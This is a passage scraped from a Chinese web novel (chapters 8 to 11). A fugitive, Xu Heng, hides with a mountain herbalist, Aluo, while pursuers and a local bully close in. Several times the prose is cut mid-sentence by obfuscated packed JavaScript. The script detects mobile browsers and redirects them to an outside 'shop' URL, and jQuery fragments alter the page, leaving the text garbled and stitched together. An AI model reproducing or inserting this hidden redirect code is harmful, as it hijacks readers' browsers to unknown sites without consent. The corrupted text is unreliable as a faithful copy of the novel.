l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17251270|197952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在火光下将碗洗了。 两个人洗漱完,阿萝又像像往常一样,拿出她的药碾子,开始捣药。徐珩坐在一旁,削明天要用的箭杆。 他的箭术有些长进,箭消耗得也快。 屋里很安静,只有捣药声、削木声,和柴火偶尔的噼啪声。 阿萝捣着捣着,忽然停下来,侧耳听了听,道:“风大了。” 徐珩也停下动作,确实,屋外的风声比刚才急了,吹得门板微微作响。 “要下雨了吗?”他问。 “应该不是,”阿萝摇头,“是北风,明天会更冷。” 她将手头的药捣完,起身走到墙边,从木架上取下两张鞣制好的兽皮。她抖开一张,铺在徐珩的草铺上;又抖开一张,铺在自己的铺上。 铺完了,她回头看了看徐珩:“早点睡吧。” 徐珩点点头,放下手里的箭杆和刀。 两人各自躺下,油灯吹灭了,屋里一片漆黑,只有窗缝里透进来一点微弱的、不知是月光还是星光的光。 徐珩躺在铺了兽皮的草铺上,果然暖和许多,兽皮还带着鞣制后的淡淡气味,不刺鼻,闻着让人安心。 他闭上眼睛,听着屋外的风声。 风真的很大,呼啸着掠过山林,吹得树叶哗哗作响,像大河流过石滩。 他在这样的风声里,渐渐有了睡意。 半梦半醒间,忽然听见阿萝那边传来窸窣声响,他睁开眼,在黑暗里看见她坐了起来,似乎在听什么。 “怎么了?”他低声问。 阿萝没立刻回答,她又听了一会儿,才说:“没事,睡吧。” 她重新躺下,但徐珩听出来,她的呼吸声比刚才轻了,像在刻意控制。 他在黑暗里睁着眼睛,也仔细听。 除了风声,似乎……还有别的声音,很轻微,断断续续,像是……脚步声?但又不太像,更轻,更碎。 是野兽? 他慢慢坐起来,离开床铺,手摸向墙边的柴刀,靠向阿萝。 “别动,”阿萝的声音从黑暗里传来,“不是冲我们来的。” 徐珩停下动作,他已经靠她很近了,两个人呼吸可闻。 两人在黑暗里静静听着,那声音时有时无,渐渐远去,最后消失在风里。 过了好一会儿,阿萝才说:“是野猪,一家子,路过。” 徐珩松了口气,从阿萝身边退开,柴刀归回原处,重新躺下,但是已经没了睡意,“你听得出来?” “嗯,”阿萝的声音带着睡意,“脚步轻重,间隔,还有喘气声……不一样。” 徐珩在黑暗里笑了笑,也是,这片山林里,有什么声音是她听不出来的? “睡吧,”阿萝翻了个身,声音越来越低,“明天……可能真的会下雨……” 她的呼吸渐渐平稳,沉入睡眠。 徐珩却有些睡不着了,他听着屋外的风声,听着身边另一个人的呼吸声,忽然觉得,这间小小的、简陋的屋子,在这片广阔而危险的山林里,竟显得如此安稳。 像暴风雨里的一个岩洞,像黑夜里的唯一一点光。 他不知道这种安稳能持续多久,山下的地痞,远方的追兵,还有即将到来的寒冬——都是悬在头顶的刀。 但至少此刻,此刻是安稳的。 他闭上眼睛,让自己沉入这片安稳里。 窗外的风还在吹,一阵紧似一阵。 但屋里很暖。 两人的呼吸声,在风声的间隙里,轻轻交错。 8. 第 8 章 徐珩突然醒来,映入眼帘的是一片灰白——晨光熹微,尚未破晓。 外面风声静止了,安静的房间里还有另一道沉静的呼吸。 他侧身,隔着火塘望向还在睡梦中的阿萝,心里满满当当的。 他今天要跟她上山砍柴——无论如何,他一定要跟着她去。 他喜欢待在她身边,感觉她什么都会什么都懂,一个不到二十岁的姑娘,竟然什么都会。在她身边,他有一种确定感。 他朝着她睡着的方向发愣,不知不觉间天色亮了些,屋内也能看得更清晰了。 他轻手轻脚地爬起来,检查腿上的伤口。 结痂的伤口依然是粉嫩的,疼痛感依然明显,尤其是没有别的事情分心的时候。 放下裤腿,走到水缸边,舀出冷水简单洗漱。接着回到火塘边,小心翼翼地生火,学着阿萝的样子,架上瓦罐、加水、放入米。 他试图煮一锅粥。 最好是在她醒来之前,他就能做好早饭。 水烧开,冒着咕噜咕噜的热泡,他用勺子慢慢搅动着,香味慢慢漫出来。 阿萝像是听到了什么动静,翻了个身,睁开双眼。 在望向他的那一瞬间,她的眼神忽然变得茫然起来。 眼底流过一片温柔,但又很快消失。 她坐起来,抓了抓头发,“你起这么早?”现在才刚刚天亮。 “嗯,”徐珩有些不好意思,转头添了根柴,“……我煮了粥,但可能……不太好吃。” 阿萝掀开被子,穿上鞋子走到火塘边,坐着看了一眼,伸手从他手里拿过木勺,轻轻搅动了几下,又添了些冷水。 “米多了,水少了,火大了。”她言语简短,给他指出了问题。 徐珩慌忙撤下两根柴,连连点头,将她说的话牢牢记在心里。 看到粥又重新滚了起来,阿萝才去洗漱。 朝阳从东面的山头跳了出来,金黄青绿的群山之上的天空只有几片薄薄的纱一样的云。 阿萝呼出一团白气,暗说今天的天气会很好。 徐珩虽然不会煮粥,但是他也不傻,知道搅动,所以并没有糊掉。她加了水之后,就完全没影响了。 洗漱完,她往里添了些干肉,两个人分着吃了。 吃完,阿萝正在磨刀,他突然走过来,蹲在一旁看着,神情非常认真。 像初出洞穴的鸟儿。 阿萝直起身体,一手握着柴刀,另一只手上湿漉漉的,“你不会是想学吧?” 徐珩闻言,立刻露出一个笑容,朝阳一样明晃晃的看着她,“可以吗?” 阿萝没想到他真的想学,张了张嘴巴,竟然一个字也说不出来。 她将刀递给他,擦干手上的水,起身让出位置。 徐珩迅速坐过去,模仿着阿萝的样子磨刀。 阿萝后退一步,抱着手看。 “别放那么平,稍微斜一些。” “过了,太斜了。” “泼点水。” 三句指点下来,徐珩就学会了磨刀。 阿萝不知道他哪来的兴趣,磨完刀,他又要跟自己去砍柴。 她将柴刀别在腰后,看着这个让她完全不能理解的男人,沉默了好一会儿,想劝他好好养伤,但是直觉告诉她,这大概只是浪费时间。 “跟得上就跟吧。”她丢下一句话,算是默许了。 徐珩眼睛一亮,忙给自己也准备了个水囊,跟在她身后,走向一片茂密的松林。 林间,露水深重。 阿萝走在前面,步伐不快,却很沉稳,好像很清楚每一步应该落在哪个地方。 阳光透过松针的缝隙倾泻下来,在她身上跳跃,将她与这片山林融合在一起。 徐珩踩着她踩过的地方,跟着保持两到三步的距离。 她利落挥刀砍断枯枝,徐珩也学着捡,扎成捆,不一会儿,额头就冒出了细汗,深秋的那种寒冷也散了。 日头升得更高了。阳光穿透因枝叶枯落而变得稀疏了不少的树林,给林下的花草镀上一层暖色。 一直弯腰拾取树枝的徐珩一抬头,却看见阿萝并未继续砍柴,而是正蹲在一棵枯死的老松下,专注地劈什么。 他好奇地走过去,只见阿萝脚边放着一些薄而匀称的木片,泛着油亮亮的光。 这样劈柴?这也太费工夫了吧? “你在做什么?”他忍不住问。 阿萝神情专注,一个眼神都没给他,“松明。” “什么?”徐珩没听懂这个陌生的词。 “就是火把。” 徐珩恍然大悟,他就觉得那天夜里她来找他时用的那种细细的火把有点特别,火光不算太明亮,但却异常稳定,而且小小一根,握在手里丝毫不费劲,原来是用这个做的?! “劈成这样就能用了?”徐珩又长了见识,蹲下去拿起一片仔细端详,“取枯松根?” “嗯。” 徐珩看着她熟练的动作,忽然想起另外一件事,“家里用的灯油……也是松油?”他一直觉得灯油燃烧有一种淡淡的香味,现在闻着这松香味,才猛然对上了号。 “是松脂。”松油是专门处理过的,她这里可做不了。 “那要怎么取?” “……”阿萝手上的动作终于顿住了,仰头看向他,“先砍柴。” “咳……好,砍柴,砍柴……”徐珩这才发现自己不知不觉间跑偏了,连今天来干嘛的都忘了。 阿萝看着他有些狼狈的背影,嘴角微微向上弯了一下。 一时间,林间只有“笃笃”的砍柴声。 等到日至中天,两个人拾起的柴已经有四捆了。 两个人干活,是要比一个人快。 阿萝打开水囊,靠着树干喝了几口,内心盘算着怎么背回家。 徐珩虽然已经可以不依靠木杖走路,但他伤势严重,目前还用不上力,也不能再加重了。 “你背那捆小的,剩下的我分三趟。”她语气平淡,却完全不是商量的态度。 徐珩张了张嘴,想说自己可以多背一些的,但是对上她的眼神,又吞回来了。 在这山里,他如果莽莽撞撞的不听话,只会给她带来麻烦,成为她的负累。 回到家,卸下背上那沉甸甸的柴火,阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17251271|197952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萝甚至没有多做停留,喝了两口水就原路返回。 徐珩留在家里也没闲着,很自觉地生火煮饭。 当阿萝背着柴回来时,便闻到一股清香的属于“家”的温暖味道,脚步忽然停住。 今天清晨,她也是在温暖的火光和米香味中醒来的。 那一刻,她恍惚了。 山中无日月,她从不计算日子,只是随着山里的四季流转,过一天是一天。她不记得自己一个人生活了多久,大概五六年了。 这五六年,她一个人吃饭一个人睡觉,一个人在山里踽踽独行,受伤了一个人找草药,受困了一个人拼命脱困,野兽袭来,她一个人躲避,恶霸上门,她独力击退……只要她不亲自动手,火就不会暖她,饭也不会成熟。 可是今天早上,她还在睡着,家里就暖了,粥也熟了。 她还以为,她只是做了一场漫长的梦,一觉醒来,父母还在…… 可……也许实际上,这段日子才是真正的梦一场,等再次醒来,空寂寂的山林里,只有她一个人。 她继续往前,放下背上的柴,徐珩正好看见她。 “回来了?饭好了,先吃饭吧。”他走到檐下,眼里带着一丝不易察觉的期待。 阿萝看了看日头,又看了看他脸上被烟火熏出来的淡淡痕迹,沉默了一下,转身去洗手。 现在已经是午后了,早上吃的那点饭早就消化完了,反正就只剩下一捆了,吃了饭再去也来得及。 但是她没想到,吃完饭正要回去时,徐珩又像影子一样跟了上来。 阿萝停下脚步,转身看向他,蹙眉提醒,“只有一捆了,我一个人就可以。” “那我也要去……刚吃完饭,要消食!” 消食? 粮食何其珍贵,每一粒米每一块肉,都是辛辛苦苦甚至是冒险换来的,好不容易填饱肚子了,有了力气了,反而不好好保存这份力气,去做更要紧的事,反而要消食? 吃饱了撑着了? 阿萝实在难以理解这个逻辑,她看着徐珩,眼里明明白白地写着“你莫不是脑子坏掉”。 徐珩被看得有些心虚,耳根有点发热,但是话已经出口,他只能硬着头皮,维持理直气壮的表情。 阿萝与他对视片刻,想问他他们家乡的人是不是都这么闲,但……没必要。她向来不是个多费口舌的人,既然他非要跟,那就跟吧。 反正就最后一趟了。 于是,她没再说什么,而是转过身,重新迈开步子。 徐珩见她没有再反对,心中暗喜,连忙跟了上去。虽然腿伤似乎比早上更痛了,虽然“消食”这个理由蹩脚得他自己都想笑,但是能跟在她身边,看她沉静的肩膀,跟她一起听林间的风声和鸟鸣,他就觉得,这一趟很值。 她明明看起来那么纤细,却又偏偏如同蒲苇一般,在这个充满未知与危险的山林里坚韧地活了下来。 他为她感到惊叹,甚至是有些……着迷。 ,阿萝偶然一瞥,发现跟在她身后两步距离的人很像……很像枝头的麻雀,好像很高兴的样子。 可是……这有什么可高兴的? 9. 第 9 章 平静的日子总是过得很快,不知不觉间,又过了好几天。 日子一天天过着,徐珩也一日赛一日的心慌。 他说不清那股慌乱从何而来,只是一日日疯长,最后逼得他几乎坐卧不宁,非要做点什么才可以缓解。 昨夜下了场雨,屋后的排水沟堵了不少枯枝烂叶,他提了木锹就去清理。 快清理完时,余光瞥到一道蓝色的身影。 阿萝走了过来,“货郎来了。” 徐珩直起身,正要说什么,阿萝已经伸手拉住了他的胳膊。 “进去。”她的声音很轻,但不容置疑,“别出声。” 徐珩立刻明白了,他把木锹靠在墙边,跟着阿萝快步进屋。阿萝指了指屋后那处岩壁缝隙,徐珩没有犹豫,弯腰钻了进去。 岩缝里的光线很暗,只能勉强看清轮廓。阿萝在外面把藤蔓重新整理好,遮得严严实实,又从旁边搬来几块不起眼的石头,看似随意地堆在缝隙口。 做完这些,她才拍了拍手上的土,转身往前屋走。 老陈已经等了一会儿了,他站在院门口,没往里进,正伸着脖子往屋里瞧。看见阿萝出来,脸上立刻堆起笑。 岩缝里,徐珩靠坐在草垫上,屏息听着外面的动静。 老陈热络的声音传进来:“阿萝姑娘!有些日子没来了!” 然后是阿萝平静的回应,挑货,问价,讨价还价。 但是很快,老陈话锋一转,忽然道:“最近镇上来了几个生面孔,专收山货,问得可细了!问有没有独居的,问有没有见过受伤的生人……” 徐珩的心提了起来。 他听见阿萝很轻地笑了一声,语气里带着恰到好处的漫不经心:“我天天在山上,除了野兽,没看见别的。” 话题很快又转到盐价上,老陈又絮叨了几句,最后背着换来的皮子走了。 等脚步声彻底消失,徐珩才从岩缝里出来,阿萝正蹲在院子里,把新买的盐罐往木架上放。 “都听见了?”她头也不回地问。 “嗯,”徐珩走过去,接过她手里的盐罐,帮她放好,“硫磺……” “是饵,”阿萝站起身,拍了拍手上的灰,“猎狗能闻着这个找几十里,不过我已经处理了。” 她走到屋角,掀开一块松动的地砖,让徐珩看了一眼——硫磺包得好好的躺在里面,上面还盖了一层厚厚的草木灰。 “味道传不出来。”她说。 徐珩点点头,心里却沉甸甸的,忽然找到了心慌的源头,“他们快找来了。” “嗯,”阿萝很平静,“从镇上到这里,如果他们雇了人引路,最快五六天。” 她转身看着徐珩:“这几天你别露面,就在屋里待着,或者去岩缝,外面的事我来应付。” “那你……”徐珩想说“太危险”,但话到嘴边又咽了回去。 阿萝明白他的意思,视线下压,看向了他的左腿。 那么深的伤口,已经愈合了七七八八了,也许在那些人来之前,他就能自己离开了……呢。 自然而然的,阿萝的脑海里立即浮现出他走后自己独居的场景。奇怪的是那明明是她多年来一直习以为常的事情,可是现在想来却像被谁抽走了全身的力气一样。 稀里糊涂的,她说道:“实在不行,你就放冷箭。” 徐珩很认真地点头:“好。” 他心里稍微踏实了些,至少,他不是完全无用的累赘。如果真的打起来,他至少能放几支箭。 接下来的几天,气氛明显紧张起来。 阿萝每天照常出门砍柴、采药,但回来得比平时早。她开始有意识地囤积物资——水缸总是满的,柴垛堆得比之前都高了不少。 徐珩大部分时间待在屋里,继续练习箭术。只是现在他不再去屋外射靶,而是在屋里对着墙上画的记号练瞄准。阿萝给他做了几支没有箭头的练习箭,射出去只发出轻微的碰撞声。 有时候,他会透过窗缝往外看,阿萝在院子里忙碌的身影,瘦削但稳当,她劈柴时手臂扬起的弧度,晾晒草药时弯腰的姿势,他都看得熟悉。 这些寻常的劳作,在如今紧张的空气里,竟显得格外珍贵。 第四天傍晚,阿萝从外面回来时,脸色比平时凝重。 “看见人影了,”她一边卸下背篓一边说,“对面山梁上,三个人,往这边张望了很久。” 徐珩放下手里的箭:“是追我的人?” “应该是,”阿萝从背篓里拿出一把新采的草药,动作依旧平稳,“离得还远,看不清,但他们没往这边来,转了个方向走了。” “在探路?” “嗯,”阿萝把草药摊在竹席上,“今晚得警醒点,他们可能夜里来。” 夜里,两人都没睡踏实。 徐珩躺在草铺上,耳朵竖着听外面的动静。阿萝睡在火塘另一侧,她的呼吸声很轻,但徐珩知道她也没睡着。 半夜,外面忽然传来一声山鸟惊啼。 阿萝立刻坐了起来,徐珩也跟着起身,手摸向枕边的弓。 两人在黑暗里对视了一眼,阿萝对他做了个“别动”的手势,自己悄无声息地挪到窗边,透过缝隙往外看。 月光很好,院子里一片银白,树影在风中晃动,看不出什么异常。 阿萝看了很久,才慢慢退回火塘边。 “是山鸡,”她低声说,“被什么惊着了。” “是人?”徐珩问。 “有可能,”阿萝重新躺下,但没闭眼,“但也可能是野猫,睡吧,我守着。” 徐珩躺回去,却再也睡不着了。 他睁着眼睛看屋顶的茅草,听着外面风吹过山林的声音。那些平常觉得安宁的声响,此刻都像是潜在的威胁。 第五天,一整天都很平静。 阿萝没出门,就在屋里整理药材,徐珩帮她削箭杆,两人有一搭没一搭地说着话。 说到京城,说到侯府,说到那个徐珩从未得到过半分温暖的“家”。 “我娘还活着,”徐珩忽然说,手里的刀停了一下,“在侯府后院的偏房里,也许又给人洗衣裳去了。” 阿萝抬起头看他。 “她原是府里的洗衣婢,”徐珩继续说,声音很平静,像在说别人的事,“我爹喝醉了,才有了我,所以我生来就是庶子,是府里的污点。” 阿萝没说话,只是听着。 “我娘很怕事,”徐珩笑了笑,那笑容没什么温度,“每次我被欺负,她都只会拉着我躲起来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17251272|197952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说‘忍一忍就过去了’,但她……她是我娘。” 他顿了顿:“我拼命读书,想考功名,想带她离开那个地方。功名路断了,我就去从军,想挣军功,现在……军功也没了。” 阿萝沉默了很久,徐珩说的事她都听不太懂,只是依稀辨析出他好像很难过,但又没那么难过,“你娘知道你的事吗?” “应该不知道,”徐珩摇头,“侯府不会告诉她,她大概以为我还在军中,等着我立功回来。” 他说这话时,声音里有一丝很淡的哽咽,但很快就压下去了。 阿萝看着他,看了很久,然后她低下头,继续整理手里的草药,“等你再好些,我就送你下山,你去接你娘。” 徐珩愣住:“你……” “外面那么危险,你现在出去太危险了,”阿萝仰头,不知道看向哪里,手上的动作并没有停止,话也比平时快了许多,“不过既然你娘在等你,她一个人在那种地方也可怜,你好了就离开吧。” 她头高高仰着,徐珩看着有些奇怪,可是她说的,确实是近在眼前的不得不做的事情。 “谢谢。”他低声说。 阿萝没应声,她站起身,去灶台边倒了两碗水,递给他一碗。 两人坐在门槛上喝水,夕阳西下,天边一片绚烂的橘红。 “阿萝,”徐珩忽然问,“你一个人在这山里,会不会害怕?” 阿萝捧着碗,看着远处的山峦,“怕过的,刚来的时候,夜里不敢睡,总觉得外面有东西,后来就不怕了。” “为什么?” “因为怕也没用啊,”阿萝喝了口水,“该来的总会来。” 她说得很实在,在这片山林里,恐惧是奢侈品,你要么适应,要么死。 “那现在呢?”徐珩问,“现在还会怕吗?” 阿萝转过头看他,夕阳的光映在她眼睛里,亮晶晶的。 “偶尔有一点,”她坦诚地说,“但不是怕死。” “那怕什么?” “怕麻烦,”阿萝说完,自己先笑了,“收拾起来太麻烦了。” 徐珩也不由得跟着笑了起来。 他知道她在说什么。如果真的打起来,血会弄脏院子,尸体要处理,痕迹要清理,确实很麻烦。 这个认知让他忽然轻松了些。 原来在最坏的情况面前,人还能想着“麻烦”,这大概就是活着的韧性。 夜里,两人早早躺下。 徐珩闭着眼睛,听着阿萝均匀的呼吸声。他知道她今晚会保持清醒守夜,但她的呼吸伪装得很好,像真的睡着了。 他在黑暗里轻声说:“阿萝。” “……嗯?” “如果……我是说如果,这次我们都能活下来,”徐珩顿了顿,“等我接了我娘,安顿好了,我能回来看你吗?” 屋子里安静了很久。 久到徐珩以为阿萝睡着了,或者不想回答。 然后,他听见她很轻的声音:“随你。” 只有两个字。但徐珩听出来了,那里面没有拒绝。 只有一种很淡的几乎察觉不到的默许。 窗外,山风依旧。 但徐珩忽然觉得,这风声不再像战鼓了,反而像某种诺言。 10. 第 10 章 第二天,徐珩又说要跟她一起出去。 阿萝刚背上背篓,奇怪地看着他,“你怕一个人在家?” 徐珩站在门口:“我想跟你去。”没说是害怕。 “你腿伤没好全。”阿萝头也不回。 “不影响,”徐珩走到她面前,“这些天在屋里闷坏了,想出去透透气。” 阿萝抬眼看他:“采药不是砍柴,路更陡。” “我知道,”徐珩说,“我可以慢慢走,累了就歇。” 阿萝忍不住叹了一口气,“徐珩,瞧瞧你的脸色,你昨晚上没睡着吧?你该休息。” 徐珩下意识摸摸自己的脸,还是坚持要跟她一起出门,“我……昨夜是有些冷,我正好出身汗,就好了。” 阿萝:“……” 两人对视了几息,阿萝看见他眼底的坚持,还有一种她读不懂的、近乎急切的东西。 “随你,”她无奈,转身出了门,“跟不上就自己回来。” 徐珩跟了上去。 清晨的山林还笼着一层薄雾,露水打湿了山路,踩上去有些滑。 阿萝走在前面,步伐轻快。徐珩跟在后面,腿伤限制了他的速度,但他咬紧牙关没落下太远。 走了一刻钟,到第一处陡坡。阿萝停住,回头看他。 徐珩正手脚并用地往上爬,动作笨拙,额头已经见了汗。爬到坡顶时,他喘着气,靠着棵树歇息。 “说了路陡。”阿萝说。 “嗯,”徐珩抹了把汗,“但风景好。” 确实,站在坡顶,能看见整片山谷,晨雾正在散去,阳光从云缝漏下来,照在层层叠叠的树冠上,泛着金绿的光。 “你常来这儿吗?”徐珩问。 “嗯,”阿萝指着远处一片山崖,“那儿有岩黄连,治痢疾最好,夏天采。” “那冬天呢?” “冬天不上这么高,雪厚路滑,很危险的。” 徐珩看着她侧脸,晨光里,她的睫毛上沾着细小的水珠,随着眨眼微微颤动。 “阿萝。”他忽然开口。 “……嗯?” “如果……”他顿了顿,“以后我不在这儿了,你一个人上山,要小心。” 阿萝转过头看他,心莫名其妙地颤了一下,“你要走?” 徐珩移开视线:“迟早的事,那些人……不会罢休的。” 沉默了一会儿。 阿萝说:“我知道。”过去那么多年,她不都是一个人过的吗。 她继续往前走,脚步比刚才快了些。 下一个陡坡更险,是近乎垂直的岩壁,只有几处凸起的石头可以落脚。 阿萝轻松地爬了上去,站在上面往下看。 徐珩试了两次,都滑了下来。第三次,他抓住一块石头,右脚刚抬起,左腿的伤突然一抽,他闷哼一声,手差点松开。 “别动,”阿萝的声音从上面传来,她蹲下身,伸出手:“抓住。” 徐珩抬头,看见她伸下来的手,粗糙的五指指节分明,掌心有常年劳作留下的薄茧。 他握住。 她的手很稳,力气也大,借着她的力,他一点点爬了上去。 到顶时,两人都喘着气,徐珩还握着她的手,没松开。 阿萝低头看了一眼。 徐珩赶紧松手:“……谢谢。” 阿萝没说话,只是把手在衣摆上擦了擦,继续往前走。 一个时辰后,他们到了山顶。 这里有一小片平地,长着些低矮的灌木,风很大,吹得人衣袂翻飞,徐珩没有防备,被风呛得咳了几声。 阿萝放下药篓,开始采药,徐珩坐在一块大石头上,看着她忙碌。 她的动作熟练而专注,哪株该采,哪株该留,哪株只取叶子,哪株要连根挖起——她都清清楚楚。阳光照在她弯下的脊背上,勾勒出瘦削但坚韧的线条。 “阿萝。”徐珩开口。 她没抬头:“嗯?” “你爹娘……教你采药时,你也这么小吗?”他比划了一下,“这么高?” 阿萝的手顿了顿,看向他比划的高度,“差不多吧。” “他们……对你好吗?” “好啊,”阿萝挖出一株草,抖掉根上的土,“爹教我认药,娘教我晒药,他们说,有了这门手艺,走到哪儿都饿不死。” “他们说得对。”她现在不就活得很好吗,像山野里不惧任何风雨的秀木。 阿萝沉默了一会儿,轻声说:“可他们自己却死了。” 风把这句话吹散了。 徐珩的心揪了一下,他想说什么,却觉得任何安慰都苍白。 采完药,已近晌午。 下山的路更难走,徐珩的腿伤经过一上午的跋涉,开始隐隐作痛。他走得很慢,每一步都小心翼翼。 阿萝走在他前面,不时回头看他。 走到一处湿滑的陡坡时,徐珩脚下一滑。 “小心!”阿萝一把抓住他的胳膊,但下坠的力道太大,她被他带得也往下滑。情急之下,徐珩反手搂住她的腰,另一只手死死抓住旁边一棵小树。 两人抱在一起,往下滑了三四尺才停住。 惊魂未定。 徐珩还搂着阿萝的腰,能感觉到她身体的温度和微微的颤抖。阿萝的手抓着他的衣襟,抓得很紧。 两人就这么抱着,谁也没动。 直到徐珩先松开手:“……没事吧?” 阿萝退开一步,别过脸:“没事。”她的脸颊有些红,不知是吓的还是别的。 继续下山时,徐珩很自然地向她伸出手:“路滑,扶着吧。” 阿萝看了一眼他的手,犹豫了一下,还是握住了。 这次,谁也没再松开。 他们就这么手牵着手,一步步往下走。徐珩的手很暖,掌心有茧,但握得温柔。阿萝的手微凉,但逐渐被他的体温捂热。 一路上谁也没说话。 回到旧屋时,已是下午。 徐珩的脸色有些苍白,阿萝让他坐下,掀开他裤腿查看伤口——果然,经过一上午的跋涉,伤口又肿了起来,又摔了一跤,边缘泛红,有发炎的迹象。 “说了让你别去。”阿萝语气硬邦邦的,但手上的动作很轻。 她打来清水,重新清洗伤口,敷上药膏,包扎。 “疼就说。”阿萝说。 “不疼。” 阿萝瞪他一眼:“逞强。” 包扎完,她去煮了锅粥,在粥里放了肉末和切碎的野菜。 傍晚的风有些冷,两人就坐在火塘边喝粥。 “明天……”徐珩开口。 “明天别想出门了,”阿萝打断他,“伤口再裂,就得烂了。” 徐珩无奈地笑了笑:“好。” 喝过粥,阿萝去洗碗,徐珩靠在门框上,看着她的背影,身上一阵一阵冷,而夕阳把她的影子拉得很长。 他忽然觉得,这一刻很珍贵,珍贵到想把它刻进骨头里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17251273|197952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,带到任何地方去。 阿萝忙忙碌碌,全是细碎的活,徐珩没有像往常一样过来帮忙,她也不在乎,她仗着,反正过几天他就走了。既然不能一直陪着,那没有也罢。 直到她忙完,天色都黑了,她才注意到徐珩靠着门框睡了过去。 额头发烫。 “徐珩……”意识到他起高热了,阿萝一惊,连忙把人架到身上,半拖半抱弄到草铺上,盖上褥子。 点起灯,才发现他面色潮红,额头上全是汗。 她起身,打来凉水,浸湿布巾敷在他额头上。又去药架找退热的草药,捣碎了煮水。 煮药时,她坐在灶台边,听着屋里徐珩断断续续的呓语。 “……冷……” 她走过去,给他加了床薄被。 “……疼……” 她握住他的手,他的手很烫,紧紧回握着她,像抓住救命稻草。 药煮好了,她扶他起来,一点点喂下去,他喝得很艰难,一半洒在了衣襟上。 喂完药,她没回自己的床铺,就坐在他床边守着。 油灯的光很暗,映着徐珩苍白的脸。他眉头紧皱,嘴唇干裂,即使在昏睡中也不安稳。 阿萝看着,忽然想起很多年前,爹生病时,娘也是这样守在床边。 那时候她还不懂什么叫“担忧”,只觉得娘一夜之间老了很多。 现在她懂了。 她伸出手,很轻地碰了碰他的脸颊,指尖触到的皮肤滚烫,但轮廓分明。 “徐珩,”她轻声说,“别死。” 声音很轻,轻到刚出口就被夜色吞没。 但徐珩似乎听见了,他动了动,握住她的手更紧了些。 后半夜,徐珩的烧退了。 天快亮时,他醒过来,第一眼看见的,是侧卧在草铺边睡着的阿萝。 她侧着脸,枕着自己的手臂,眉头微蹙,睡得并不安稳。 徐珩翻身侧卧,静静看着她。 看着她微微颤动的睫毛,看着她鼻尖细小的汗珠,看着她因为压着手臂而微微张开的嘴唇。 他想起昨天山上,她牵着他的手时,耳根泛红的样子。 想起她抱住他时,身体的温度和颤抖。 心里有什么东西,柔软得快要化开。 他轻轻动了动,想把自己的褥子盖到她身上,但这一动,惊醒了阿萝。 她睁开眼,看见他醒了,立刻撑起上半身伸手探他额头。 “烧退了。”她松了口气。 “嗯,”徐珩看着她,“你守了一夜吗?” 阿萝没回答,只是站起身:“我去煮粥。” 她转身时,徐珩看见她眼角有些红。 阿萝走到灶台边,生火,淘米,切菜,动作一如往常。 但徐珩看见,她切菜时停顿了好几次,像是心不在焉。 他还看见,她盛粥时,很自然地把碗里最大的一块肉挑出来,放进他的碗里。 做完这个动作,她才愣住,看着手里的勺子,像是突然意识到自己在做什么。 徐珩支起上半身,望着她,忍不住笑了出来。 阿萝回头看他,看见他的笑,脸一下子红了。 “……笑什么?”她硬邦邦地说着,走到床铺边将他扶起来,把粥碗塞给他,“快吃。” 徐珩接过碗,她又跪在他床上,身上将被子拉过来裹在他肩上。 徐珩捧好热气腾腾的粥碗,以免扰乱她,随意她做什么。 11. 第 11 章 清晨,雨来了。 迅疾的雨珠砸在屋顶茅草上,噼啪作响,天地间只剩一片灰蒙蒙的水幕。 阿萝站在门口看了一会儿,眉头微蹙。 “这种天气,他们应该不会来。”徐珩走到她身边,也许,他们能有一天的安宁。 “但赵虎会。”阿萝话音未落,屋后就传来了动静。 屋后是没有路的,全是乱石和灌木,但此刻,杂乱的脚步声正从雨声中透出来。 阿萝脸色一变,快步走到后窗,透过缝隙,她看见五六个人影正手脚并用地往上爬,动作笨拙,但人多势众。 “他们怎么从后面来?”徐珩压低声音。 “雨太大,前山路滑。”阿萝迅速取下墙上的弓,“后坡陡,但都是石头,反而好走,赵虎大约是知道我只防前面,想打我一个措手不及。” 二人说着,外面的骂声已经很近了:“他娘的……这破路……” “虎哥,真要这么干?万一把人弄死了……” “少废话!这贱人让老子丢那么大脸,这次非得把她……” 话没说完,但意思很清楚。 徐珩的手按在腰间,那里别着一把他这几天磨得锋利的柴刀,阿萝已经搭箭上弦,对准了后窗缝隙。 第一个人影冒头了,是个瘦高个,正扒着岩壁往上爬。 阿萝松弦。 箭矢破开雨幕,精准地扎进那人肩头,瘦高个惨叫滚落,带下一片碎石。 下面顿时乱了:“操!她放箭了!” 